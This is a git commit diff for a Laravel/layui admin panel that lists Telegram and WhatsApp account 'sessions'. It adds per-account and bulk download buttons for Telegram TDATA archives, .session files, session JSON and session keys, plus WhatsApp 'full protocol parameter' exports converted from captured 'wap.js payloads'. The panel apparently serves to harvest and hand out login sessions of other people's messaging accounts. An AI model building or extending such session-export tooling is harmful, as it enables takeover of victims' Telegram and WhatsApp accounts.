feat: tg/ws/security/
This commit is contained in:
@@ -43,11 +43,25 @@
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div style="margin-bottom:10px;">
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出 ZIP</button>
|
||||
@if ($isWhatsApp)
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export-ws"><i class="layui-icon layui-icon-export"></i>导出 WS 全参</button>
|
||||
<span style="margin-left:10px;color:#999;font-size:12px;">批量导出一次限 1000 条,请先选择时间范围</span>
|
||||
@else
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出原始参数 ZIP</button>
|
||||
@endif
|
||||
</div>
|
||||
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
||||
<script type="text/html" id="LAY-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
|
||||
@if ($isWhatsApp)
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
|
||||
@endif
|
||||
@if (! $isWhatsApp && auth('admin')->user()?->isSuper())
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
|
||||
@endif
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
@@ -98,7 +112,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
cols.push(
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
||||
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
||||
);
|
||||
|
||||
table.render({
|
||||
@@ -118,7 +132,9 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
|
||||
// Bulk export: build a query string from the current search form and
|
||||
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
|
||||
document.getElementById('LAY-session-export').addEventListener('click', function () {
|
||||
var zipBtn = document.getElementById('LAY-session-export');
|
||||
if (zipBtn) {
|
||||
zipBtn.addEventListener('click', function () {
|
||||
var params = new URLSearchParams();
|
||||
params.set('kind', isWhatsApp ? '2' : '1');
|
||||
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
||||
@@ -149,7 +165,51 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '导出失败');
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// WS TXT export: same filters, but returns a single NDJSON .txt (one JSON
|
||||
// per line, 26 fields — chk.ts native format). Server converts each wap.js
|
||||
// payload on the fly.
|
||||
var wsBtn = document.getElementById('LAY-session-export-ws');
|
||||
if (wsBtn) {
|
||||
wsBtn.addEventListener('click', function () {
|
||||
var params = new URLSearchParams();
|
||||
params.set('kind', '2');
|
||||
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
||||
if (formEl) {
|
||||
var fd = new FormData(formEl);
|
||||
fd.forEach(function (v, k) { if (v) params.set(k, v); });
|
||||
}
|
||||
var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString();
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
|
||||
}
|
||||
var skipped = res.headers.get('X-Export-Skipped') || '0';
|
||||
var written = res.headers.get('X-Export-Written') || '';
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'ws-' + @json(date('Ymd-His')) + '.txt';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
if (skipped && skipped !== '0') {
|
||||
layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : ''));
|
||||
}
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '导出失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
table.on('tool(LAY-session-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
@@ -191,6 +251,97 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'wsFull') {
|
||||
var url = obj.data.ws_full_url;
|
||||
if (!url) {
|
||||
layer.msg('缺少协议全参地址');
|
||||
return;
|
||||
}
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '转换失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'tdata') {
|
||||
var url = obj.data.tdata_url;
|
||||
if (!url) {
|
||||
layer.msg('缺少 TDATA 地址');
|
||||
return;
|
||||
}
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '转换失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
|
||||
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
|
||||
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
|
||||
var type = typeMap[obj.event];
|
||||
var baseUrl = obj.data.session_file_url;
|
||||
if (!baseUrl) {
|
||||
layer.msg('缺少会话文件地址');
|
||||
return;
|
||||
}
|
||||
var url = baseUrl + '?type=' + type;
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '转换失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||||
|
||||
Reference in New Issue
Block a user